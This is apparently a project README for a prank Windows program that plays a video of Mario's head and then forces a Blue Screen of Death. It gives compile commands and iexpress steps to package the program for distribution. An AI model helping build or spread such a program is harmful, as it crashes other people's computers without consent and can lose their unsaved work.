mario-head

A little malware script to display a video of Mario's levitating head, asking if he can have your computer, and crashing your PC with a Blue Screen of Death.

Mostly made with DirectShow and some other libraries.

Compiling

With cl

Make sure to run it from the "x86/x64 Native Tools Command Prompt", so that you can use cl.

You probably should just use the provided compile.bat Batch script, but you can also do it manually, by simply doing:

cl main.cpp /Fe:"mario.exe"

The script already has pragmas with needed libraries set up, so in case of cl, you don't need to add anything else to the command line arguments.

With g++

I am not sure if there's a way to do it with g++. It's better to just download VS Build Tools & roll in with that.

Distributing

You can pack the video file and the main script together using iexpress, with the provided SED file, containing all of the settings:

iexpress /Q /N iexpress.sed

or, if you have a 64-bit system and want to package it into a 32-bit executable:

%SYSTEMROOT%\SysWOW64\iexpress.exe /Q /N iexpress.sed

The video

The original video comes from Mario Teaches Typing 2, the exact source is from "Mario Head Collection" on Youtube.

If you want to replace the video, feel free to swap out mario.wmv with an another video. You will need to convert the video into a .wmv format, either by using ffmpeg or some obscure online converter. Just make sure to keep the same filename, or else, the script will immediately cause a BSoD.